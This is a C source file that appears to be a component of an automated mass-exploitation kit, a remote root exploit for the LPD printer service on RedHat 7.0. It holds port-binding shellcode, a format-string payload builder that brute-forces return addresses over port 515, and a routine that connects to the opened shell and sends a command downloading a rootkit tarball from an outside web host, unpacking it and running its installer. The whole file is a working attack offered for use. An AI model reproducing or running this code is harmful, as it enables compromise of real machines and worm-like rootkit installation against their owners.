#include <arpa/inet.h>
#include <crypt.h>
#include <errno.h>
#include <fcntl.h>
#include <netdb.h>
#include <netinet/in.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#include "../lpd.conf"
#define ADDRESS_BUFFER_SIZE   32+4
#define APPEND_BUFFER_SIZE    52
#define FORMAT_LENGTH         512-8
#define NOPCOUNT              200
#define SHELLCODE_COUNT       1030
#define DELAY                 90000 /* usecs */
#define OFFSET_LIMIT          60
#define SOCK_TIMEOUT          6
#define FORKLIMIT             100
#define START_EIP 0xbffff3e0


struct our_format {
  char *ip;
};

struct our_format pscan_list[6500];

char shellcode[] =
"\x31\xdb\x31\xc9\x31\xc0\xb0\x46\xcd\x80"
"\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8"
"\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89"
"\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\x89\x4d\xf0"
"\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0\x8d\x4d\xf4\xcd"
"\x80\x89\xd0\x43\x43\xcd\x80\x89\xd0\x43\xcd\x80\x89\xc3\x31\xc9"
"\xb2\x3f\x89\xd0\xcd\x80\x89\xd0\x41\xcd\x80\xeb\x18\x5e\x89\x75"
"\x08\x31\xc0\x88\x46\x07\x89\x45\x0c\xb0\x0b\x89\xf3\x8d\x4d\x08"
"\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff\xff/bin/sh";

struct target
{
  char *os_name;
  u_long eip_address;
  u_long shellcode_address;
  unsigned int position;
  int written_bytes;
  int align;
};

struct target targets[] =
{
  { "RedHat 7.0 - Guinesss    ", 0xbffff3ec, 0L, 300, 70, 2,         },
  { "RedHat 7.0 - Guinesss-dev", 0xbffff12c, 0L, 300, 70, 2,         },
  { NULL, 0L, 0L, 0, 0, 0 }
};

static char address_buffer[ADDRESS_BUFFER_SIZE+1];
static char append_buffer[APPEND_BUFFER_SIZE+1];
static char shellcode_buffer[1024];
int offset=0, totalowned=0, totalvuln=0;
int type=-1, shell=0, pnum=0, vnum=0, numforks=0, tot=0;
int brute=-1, failure=1;
char *he;
void calculate_rets(u_long eip_addr, u_long shellcode_addr, u_int previous, u_int addr_loc)
{
  int i;
  unsigned int tmp = 0;
  unsigned int copied = previous;
  unsigned int num[4] =
  {
    (unsigned int) (shellcode_addr & 0x000000ff),
    (unsigned int)((shellcode_addr & 0x0000ff00) >> 8),
    (unsigned int)((shellcode_addr & 0x00ff0000) >> 16),
    (unsigned int)((shellcode_addr & 0xff000000) >> 24)
  };

  memset (address_buffer, '\0', sizeof(address_buffer));
  memset (append_buffer, '\0', sizeof(append_buffer));

  for (i = 0; i < 4; i++)
  {
    while (copied > 0x100)
      copied -= 0x100;

    if ( (i > 0) && (num[i-1] == num[i]) )
      sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
    else if (copied < num[i])
    {
      if ((num[i] - copied) <= 10)
      {
        sprintf (append_buffer+strlen(append_buffer), "%.*s",
        (int)(num[i] - copied), "security.is!");
        copied += (num[i] - copied);
        sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);          
	}
      else {
        sprintf (append_buffer+strlen(append_buffer), "%%.%du",
        num[i] - copied);
        copied += (num[i] - copied);
        sprintf (append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);          }
	}
      else {
        tmp = ((num[i] + 0x100) - copied);
        sprintf(append_buffer+strlen(append_buffer), "%%.%du", tmp);
        copied += ((num[i] + 0x100) - copied);
        sprintf(append_buffer+strlen(append_buffer), "%%%d$n", addr_loc+i);
      }

      sprintf(address_buffer+strlen(address_buffer), "%c%c%c%c",
      (unsigned char) ((eip_addr+i) & 0x000000ff),
      (unsigned char)(((eip_addr+i) & 0x0000ff00) >> 8),
      (unsigned char)(((eip_addr+i) & 0x00ff0000) >> 16),
      (unsigned char)(((eip_addr+i) & 0xff000000) >> 24));
   }
   while (strlen(address_buffer) < ADDRESS_BUFFER_SIZE)
      strcat (address_buffer, "X");

#ifdef DEBUG
   printf ("\nGeneration complete:\nAddress: ");
   for (i = 0; i < strlen(address_buffer); i++)
   {
      if ( ((i % 4) == 0) && (i > 0) )
         printf (".");
      printf ("%02x", (unsigned char)address_buffer[i]);
   }
   printf ("\nAppend: %s\n", append_buffer);
#endif

   return;
}

char *create_malicious_string(void)
{
   static char format_buffer[FORMAT_LENGTH+1];
   long addr1,addr2;
   int i;

   memset (format_buffer, '\0', sizeof(format_buffer));

   targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;
   addr1 = targets[type].eip_address;
   addr2 = targets[type].shellcode_address;
   calculate_rets (addr1, addr2,targets[type].written_bytes, targets[type].position);
   (void)snprintf (format_buffer, sizeof(format_buffer)-1, "%.*s%s",
                   targets[type].align, "BBBB", address_buffer);

   strncpy (address_buffer, format_buffer, sizeof(address_buffer)-1);
   strncpy (format_buffer, append_buffer, sizeof(format_buffer)-1);

   for(i = 0 ; i < NOPCOUNT ; i++)
   strcat(format_buffer, "\x90");

   strcat(format_buffer, shellcode);

   return (format_buffer);
}


void usage(char *program)
{
  printf("Component 0f lpdscan\n");
  printf("Check ../r00t f0r info\n");
  printf("Enjoy another mass scanner fr0m [ O D M ]\n");
  exit(-1);
}

int connect_victim()
{
  int sockfd, n;
  struct sockaddr_in s;
  fd_set fd_stat;
  char buff[1024], bdcmd2[256];
  static char testcmd[256] = "/bin/uname -a ; id ;\n";
  static char bdcmd1[256] = "/bin/uname -a\n";
  static char pf1[256] = "printf \"\t********* You g0t root ? ro0t ! r0ot ?! R00T !!! *********\n\"\n";
  static char pf2[256] = "printf \"\t*********     You are a CERTIFIED h4x0r n0w      *********\n\n\"\n";
  static char pf3[256] = "lynx -source http://www.geocities.com/fanelutz/kinetic.tgz > kinetic.tgz;tar zxvf kinetic.tgz;cd kit;./go;exit\n";
  s.sin_family = AF_INET;
  s.sin_port = htons(3879);
  s.sin_addr.s_addr = inet_addr(he);

  memset(&bdcmd2, 0, sizeof(bdcmd2));
  sprintf(bdcmd2,"id \n");
  if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  {
    printf ("--- [5] Unable to create socket!\n");
    printf("Exploit failed!\n");
    return -1;
  }

  if ((connect (sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
    return -1;

  #ifdef VERBOSE
    printf("+++ The eip_address is 0x%x\n", targets[type].eip_address);
    printf("-   [+] Trying to get a suid shell\n");
  #endif

  failure = -1;

  FD_ZERO(&fd_stat);
  FD_SET(sockfd, &fd_stat);

  if (shell == 1)
  {
    send(sockfd, testcmd, strlen(testcmd), 0);
    while(1) {
      FD_SET(sockfd,&fd_stat);
      FD_SET(0,&fd_stat);

      if(select(sockfd+1,&fd_stat,NULL,NULL,NULL)<0) break;
      if( FD_ISSET(sockfd, &fd_stat) ) {
        if((n=read(sockfd,buff,sizeof(buff)))<0){
          fprintf(stderr, "EOF\n");
          return 2;
        }

        if(write(1,buff,n)<0)break;
      }
      if ( FD_ISSET(0, &fd_stat) ) {
        if((n=read(0,buff,sizeof(buff)))<0)
        {
          fprintf(stderr,"EOF\n");
          return 2;
        }

        if(send(sockfd,buff,n,0)<0)
          break;
      }
    }
  }
  else
  {
    send(sockfd, pf1, strlen(pf1), 0);
    send(sockfd, pf2, strlen(pf2), 0);
    send(sockfd, bdcmd1, strlen(bdcmd1), 0);
    send(sockfd, bdcmd2, strlen(bdcmd2), 0);
    while(1){
        fd_set fds;
        FD_ZERO(&fds);
        FD_SET(0,&fds);
        FD_SET(sockfd,&fds);
        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
            int cnt;
            char buf[1024];
            if(FD_ISSET(0,&fds)){
                if((cnt=read(0,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(sockfd,buf,cnt);
            }
            if(FD_ISSET(sockfd,&fds)){
                if((cnt=read(sockfd,buf,1024))<1){
                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
                    else break;
                }
                write(1,buf,cnt);
            }
         }
     }
    if (!fork())
    {
      exit(0);
    }
    else
    {
      wait(NULL);
      return -1;
    }
  }
}

int main(int argc, char *argv[]) {
  char exploit_buffer[1024];
  char *format = NULL;
  char *iptoroot;
  int c, brutecount=0;
  
  if (argc < 2)
  usage(argv[0]);
  iptoroot = argv[1];
  type = 0;
  brute = 1;

  he = iptoroot;

  targets[type].shellcode_address = targets[type].eip_address + SHELLCODE_COUNT;
  #ifdef VERBOSE
/*  printf("+++ Brute forcing %s with our format string\n", iptoroot); */
  #endif
  alarm(480);
  targets[type].eip_address =  START_EIP;

  while(failure)
  {
    memset(exploit_buffer, '\0', sizeof(exploit_buffer));

    format = create_malicious_string();
    strcpy(exploit_buffer, address_buffer);
    strcat(exploit_buffer, format);
    strcat(exploit_buffer, "\n");
    if(send_code(exploit_buffer) == 0)
        return 0;
                           // was 0xbffffff0
    targets[type].eip_address = START_EIP - offset;

    offset+=4;

    if (offset > OFFSET_LIMIT) {
      #ifdef VERBOSE
        printf("+++ Offset limit hit, ending brute mode.\n");
      #endif
      offset=0;
      return -1;
    }
  }
}

int send_code(char *exploit_buffer)
{
   int sockfd, n;
   struct sockaddr_in s;
   fd_set fd_stat;
   char recv[1024];
   static char testcmd[256] = "/bin/uname -a ; id ;\r\n";

   s.sin_family = AF_INET;
   s.sin_port = htons (515);
   s.sin_addr.s_addr = inet_addr(he);

   #ifdef VERBOSE
     printf("offset: %d eip: 0x%x\n", offset, START_EIP - offset);
   #endif

   if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
   {
     printf("--- [5] Unable to create socket!\n");
     printf("Exploit failed!\n");
     return -1;
   }

   if ((connect(sockfd, (struct sockaddr *) &s, sizeof (s))) < 0)
   {
     printf("--- [5] Unable to connect to %s\n", he);
     printf("Exploit failed, %s is not running LPD!\n", he);
     return -1;
   }

   usleep(DELAY);

   if(write(sockfd, exploit_buffer, strlen(exploit_buffer)) < 0)
   {
     printf("Couldn't write to socket %d", sockfd);
     printf("Exploit failed\n");
     exit(2);
   }

   close(sockfd);
   if(connect_victim() == 0)
     return 0;
}

